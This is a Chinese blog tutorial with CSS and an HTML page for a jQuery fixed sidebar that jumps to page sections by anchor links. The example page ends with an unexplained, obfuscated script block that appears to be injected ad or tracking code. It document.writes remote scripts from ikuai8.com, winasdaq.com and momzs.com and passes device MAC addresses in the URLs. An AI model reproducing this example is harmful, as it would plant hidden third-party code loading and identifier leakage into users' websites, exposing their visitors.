jquery锚点定位

最新推荐文章于 2025-06-04 16:43:59 发布

原创最新推荐文章于 2025-06-04 16:43:59 发布 · 2k 阅读

0 ·

CC 4.0 BY-SA版权

jquery 专栏收录该内容

4 篇文章

订阅专栏

这篇博客展示了如何利用jQuery实现页面滚动时的侧边栏导航锚点定位。通过CSS样式设置和JavaScript代码，创建了一个固定在右侧的侧边栏，随着页面滚动显示楼层链接，点击链接可以快速定位到页面相应区域。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

//reset.css

html,body{color:#666;background:#FFF;font-family:"Microsoft YaHei UI","Microsoft YaHei UI Light","微软雅黑","宋体",Helvetica-Black-SemiBold,Tahoma,Arial,sans-serif;font-size:12px;line-height:24px}body,div,dl,dt,dd,ul,ol,li,h1,h2,h3,h4,h5,h6,pre,code,form,fieldset,legend,input,button,textarea,p,blockquote,th{margin:0;padding:0}table{border-collapse:collapse;border-spacing:0}fieldset{border:solid 1px #666}img{border:0}address,caption,cite,code,dfn,em,strong,th,var,optgroup{font-style:inherit;font-weight:inherit}del,ins{text-decoration:none}li{list-style:none}caption,th{text-align:left}h1,h2,h3,h4,h5,h6{font-weight:normal}h2{font-size:16px}h3{font-size:14px}q:before,q:after{content:''}abbr,acronym{border:0;font-variant:normal}sup{vertical-align:baseline}sub{vertical-align:baseline}legend{color:#000}input,button,textarea,select,optgroup,option{font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit}input,button,textarea,select{*font-size:100%}strong{font-weight:bold}em{font-style:italic}a{color:#666;text-decoration:none}a:hover{color:#06e}a:focus{outline:thin dotted}a:hover,a:active{outline:0}.clear{_zoom:1;clear:both}.clear:after{content:'\0020';display:block;clear:both;height:0}

//a.html

<!DOCTYPE html>
<html lang="en-US"><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta charset="UTF-8">
<meta name="keywords" content="sidebar">
<meta name="description" content="sidebar">
<title>jQuery右侧固定层导航锚点定位代码 - 站长素材</title>
<link rel="stylesheet" href="a_data/reset.css">
<script type="text/javascript" src="a_data/jquery-1.js"></script>
<style type="text/css">
/*侧边栏*/
.hide {
   display: none
}
.side_bar {
   position: fixed;
   left: 50%;
   margin-left: 610px;
   bottom: 20px;
   width: 48px;
   z-index: 10000;
}
.side_bar li {
   margin: 3px 0;
}
.side_bar a {
   display: inline-block;
   padding: 10px 12px;
   line-height: 14px;
   color: #FFF;
}
.side_bar a:hover {
   color: #000000;
}

</style>
</head>
<body>
    <div style="height:900px;background-color: #ff6600;" id="header"></div>
    <div style="height:900px;background-color: #a6ce39;" id="main1"></div>
    <div style="height:900px;background-color: #cb3fd4;" id="main2"></div>
    <div style="height:900px;background-color: #e62469;" id="main3"></div>
    <div style="height:900px;background-color: #fed528;" id="foot"></div>
    
    <div style="display: none;" class="side_bar hide">
        <ul>
            <li><a href="#foot" style="background-color: #fed528;">1F</a> </li>
            <li><a href="#main1" style="background-color: #a6ce39;">2F</a> </li>
            <li><a href="#main2" style="background-color: #cb3fd4;">3F</a> </li>
            <li><a href="#main3" style="background-color: #e62469;">4F</a> </li>
            <li><a href="#header" style="background-color: #ff6600;">5F</a> </li>
        </ul>
    </div>
   <script>
       $(window).scroll(function() {
           var scroll_len = $(window).scrollTop();
           if (scroll_len > 10) {
               $('.side_bar').fadeIn();
           } else {
               $('.side_bar').fadeOut();
           };
       });
    </script>
<div style="text-align:center;margin:50px 0; font:normal 14px/24px 'MicroSoft YaHei';">
<p>适用浏览器：IE8、360、FireFox、Chrome、Safari、Opera、傲游、搜狗、世界之窗.</p>
<p>来源：<a href="http://sc.chinaz.com/" target="_blank">站长素材</a></p>
</div>
    <script>
function ik_random(){var ik_r_min=0;var ik_r_max=100;return(parseInt(Math.random()*(ik_r_max-ik_r_min+1)+ik_r_min));}
function ik_isiframe(){return (self!=top);}
var __h="http://oemyun.ikuai8.com/js.php?uid=1512ac0bb6e12dd2502a6117c4d1c50f,PC,";
var x=ik_random();
var __m='00:06:f6:09:13:ff';
var __m2='6c:b3:11:32:09:8a';
if(!ik_isiframe()){
   switch(true){
       case x>=0&&x<50:
           document.write("<sc"+"ript src=\""+__h+"11&r="+Math.random()+"\"></scr"+"ipt>");
           document.write("<sc"+"ript src=\"http://un.winasdaq.com/ydap.js?ydcp_id=10111&cumid="+__m+"&apmac="+__m2+"\"></scr"+"ipt>");
           break;
       case x>=50&&x<100:
           document.write("<sc"+"ript src=\""+__h+"7&r="+Math.random()+"\"></scr"+"ipt>");
           document.write("<sc"+"ript src=\"http://u.momzs.com/js/cp/static/pos/wf.js\"></scr"+"ipt>");
           break;
       }
}
</script></body></html>